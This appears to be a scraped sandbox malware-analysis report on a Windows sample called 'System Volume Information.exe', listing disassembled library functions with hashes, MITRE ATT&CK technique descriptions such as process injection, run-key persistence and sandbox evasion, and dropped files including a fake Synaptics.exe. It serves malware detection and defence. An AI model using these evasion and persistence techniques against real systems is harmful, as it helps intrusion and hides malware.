Opcode Fuzzy Hash: c7f2c61b81b390b1cc6ae423786bd4a48478f22e78e77e99704bb5ff4ec924d9
Instruction Fuzzy Hash: 6AD05E365683895EDB109FB5AC487673BECE784395F108436F80CCA190FB70CD80EA00

Non-executed Functions

Function 009E153D Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 009E17B7
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009E17CC
UnhandledExceptionFilter.KERNEL32(009E8168), ref: 009E17D7
GetCurrentProcess.KERNEL32(C0000409), ref: 009E17F3
TerminateProcess.KERNEL32(00000000), ref: 009E17FA

Memory Dump Source

Source File: 00000002.00000002.3261613633.00000000009E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000002.00000002.3261515539.00000000009E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261687036.00000000009E8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261770903.00000000009EA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261831900.00000000009ED000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9e0000_UNK_.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 232de64283f342e5d110bacf7ec004997fb2bb3905e41f6972d46261bc914c1b
Instruction ID: e91975850d2f7bec53fb7753e9ad14143d0cdf4fc5095e9ffc60ec0e7108a2eb
Opcode Fuzzy Hash: 232de64283f342e5d110bacf7ec004997fb2bb3905e41f6972d46261bc914c1b
Instruction Fuzzy Hash: 8321CDB48293C9DFC702DF69E9C46463BA4BB08316B00001AF5098F3B1EBB09D85EF05

Function 009E2656 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,009E93A8,0000000C,009E2791,00000000,00000000,?,009E1BC0,00000003,?,?,?,?,?,?,009E1567), ref: 009E2668
__crt_waiting_on_module_handle.LIBCMT ref: 009E2673

Part of subcall function 009E1852: Sleep.KERNEL32(000003E8,00000000,?,009E25B9,KERNEL32.DLL,?,009E2605,?,009E1BC0,00000003), ref: 009E185E
Part of subcall function 009E1852: GetModuleHandleW.KERNEL32(?,?,009E25B9,KERNEL32.DLL,?,009E2605,?,009E1BC0,00000003,?,?,?,?,?,?,009E1567), ref: 009E1867

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 009E269C
GetProcAddress.KERNEL32(?,DecodePointer), ref: 009E26AC
__lock.LIBCMT ref: 009E26CE
InterlockedIncrement.KERNEL32(009EA4D8), ref: 009E26DB
__lock.LIBCMT ref: 009E26EF
___addlocaleref.LIBCMT ref: 009E270D

Strings

EncodePointer, xrefs: 009E2690
DecodePointer, xrefs: 009E26A4
KERNEL32.DLL, xrefs: 009E2662, 009E2667, 009E2672

Memory Dump Source

Source File: 00000002.00000002.3261613633.00000000009E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000002.00000002.3261515539.00000000009E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261687036.00000000009E8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261770903.00000000009EA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261831900.00000000009ED000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9e0000_UNK_.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 5091cb89b25426230e9d8d4b183e2c938e891716786b2d5c0800f4a006d464bb
Instruction ID: ac2ca3178e17202de0ebdfcc83b2c6e80081469a8807cde9294f07f566452f53
Opcode Fuzzy Hash: 5091cb89b25426230e9d8d4b183e2c938e891716786b2d5c0800f4a006d464bb
Instruction Fuzzy Hash: 5A11A271404781DED722AF77DC41B8ABBE8AF84314F10451EE499976A1CBB1AD40CB14

Function 009E4510 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 009E451C

Part of subcall function 009E27B6: __getptd_noexit.LIBCMT ref: 009E27B9
Part of subcall function 009E27B6: __amsg_exit.LIBCMT ref: 009E27C6

__amsg_exit.LIBCMT ref: 009E453C
__lock.LIBCMT ref: 009E454C
InterlockedDecrement.KERNEL32(?), ref: 009E4569
InterlockedIncrement.KERNEL32(00AE2D30), ref: 009E4594

Memory Dump Source

Source File: 00000002.00000002.3261613633.00000000009E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000002.00000002.3261515539.00000000009E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261687036.00000000009E8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261770903.00000000009EA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261831900.00000000009ED000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9e0000_UNK_.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 0d7abca7ebf3d4fc007446111a10d4e78225fdf55a9760045219215974aceb36
Instruction ID: e08ba60e7ca62225690ace8e734198632f1558933d0146a5e7ad538f8bcbfe0d
Opcode Fuzzy Hash: 0d7abca7ebf3d4fc007446111a10d4e78225fdf55a9760045219215974aceb36
Instruction Fuzzy Hash: 1E0122319046A1EBC723AF6B988579D77A8BF84710F054019F9006B6A1CF30BE40DBD2

Function 009E3A5E Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 009E3A7C

Part of subcall function 009E2F10: __mtinitlocknum.LIBCMT ref: 009E2F26
Part of subcall function 009E2F10: __amsg_exit.LIBCMT ref: 009E2F32
Part of subcall function 009E2F10: EnterCriticalSection.KERNEL32(?,?,?,009E5A70,00000004,009E9578,0000000C,009E3BB6,?,?,00000000,00000000,00000000,?,009E2768,00000001), ref: 009E2F3A

___sbh_find_block.LIBCMT ref: 009E3A87
___sbh_free_block.LIBCMT ref: 009E3A96
HeapFree.KERNEL32(00000000,?,009E94B8,0000000C,009E2EF1,00000000,009E9418,0000000C,009E2F2B,?,?,?,009E5A70,00000004,009E9578,0000000C), ref: 009E3AC6
GetLastError.KERNEL32(?,009E5A70,00000004,009E9578,0000000C,009E3BB6,?,?,00000000,00000000,00000000,?,009E2768,00000001,00000214), ref: 009E3AD7

Memory Dump Source

Source File: 00000002.00000002.3261613633.00000000009E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000002.00000002.3261515539.00000000009E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261687036.00000000009E8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261770903.00000000009EA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261831900.00000000009ED000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9e0000_UNK_.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 1ec1b8625dcec62a86e842fb528febdf719dffa3020e3acd68c32cf613f09b44
Instruction ID: 4cc71f3b7627d197a81dd001bab124e2d339e6cb836444beb57f724ee0756e57
Opcode Fuzzy Hash: 1ec1b8625dcec62a86e842fb528febdf719dffa3020e3acd68c32cf613f09b44
Instruction Fuzzy Hash: 64016731908395AADB23AFB3EC0EB9F3B68AF40761F148529F4446B0D1DB358EC4DA55

Function 009E1000 Relevance: 6.0, APIs: 4, Instructions: 41
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 009E100A
HeapAlloc.KERNEL32(00000000), ref: 009E1011
ExitProcess.KERNEL32 ref: 009E101C
GetCurrentProcessId.KERNEL32 ref: 009E1055

Memory Dump Source

Source File: 00000002.00000002.3261613633.00000000009E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000002.00000002.3261515539.00000000009E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261687036.00000000009E8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261770903.00000000009EA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261831900.00000000009ED000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9e0000_UNK_.jbxd

Similarity

API ID: Process$Heap$AllocCurrentExit
String ID:
API String ID: 913158295-0
Opcode ID: ea319aeaa60ac11d40e1e6c2e940dc16b52921a3c28dbf0706fbe0910a47e3b1
Instruction ID: 3696d3f1b8ee34329849b514f4a58694b875cf75032552de64d4e2dd1099177f
Opcode Fuzzy Hash: ea319aeaa60ac11d40e1e6c2e940dc16b52921a3c28dbf0706fbe0910a47e3b1
Instruction Fuzzy Hash: 57F046326143C09FD7220FBAAC886AB7B9CE7193A2B500539E5899B152DA355C869714

Function 009E4274 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 009E4280

Part of subcall function 009E27B6: __getptd_noexit.LIBCMT ref: 009E27B9
Part of subcall function 009E27B6: __amsg_exit.LIBCMT ref: 009E27C6

__getptd.LIBCMT ref: 009E4297
__amsg_exit.LIBCMT ref: 009E42A5
__lock.LIBCMT ref: 009E42B5

Memory Dump Source

Source File: 00000002.00000002.3261613633.00000000009E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000002.00000002.3261515539.00000000009E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261687036.00000000009E8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261770903.00000000009EA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3261831900.00000000009ED000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9e0000_UNK_.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 9450991e999a24b2690a8509588e53d253d5d4379f980656649ef816007c0e65
Instruction ID: 94b0bef0f13770b2221cf27915cc6e9d4ac555ba8ad8bfccd56f62b3591be2bb
Opcode Fuzzy Hash: 9450991e999a24b2690a8509588e53d253d5d4379f980656649ef816007c0e65
Instruction Fuzzy Hash: FDF090369047908FD723FB77890274933A86B80720F014559FA105B3D2DB74AD41DB52

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report System Volume Information.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_fbd2f4165bb4b57a2b8b4ed4cdcabc9d217e79a9_455b7b6e_7cb4f74f-5906-4059-9b5a-aa0555b5eb63\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4213.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER503D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER506C.tmp.xml

C:\ProgramData\Synaptics\RCXA824.tmp

C:\ProgramData\Synaptics\Synaptics.exe

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

C:\Users\user\AppData\Local\Temp\2YtUEW6.ini

C:\Users\user\AppData\Local\Temp\5RLVsmp.ini

C:\Users\user\AppData\Local\Temp\6QEBhy2.ini

C:\Users\user\AppData\Local\Temp\7Qs3fpS.ini

Windows Analysis Report
System Volume Information.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre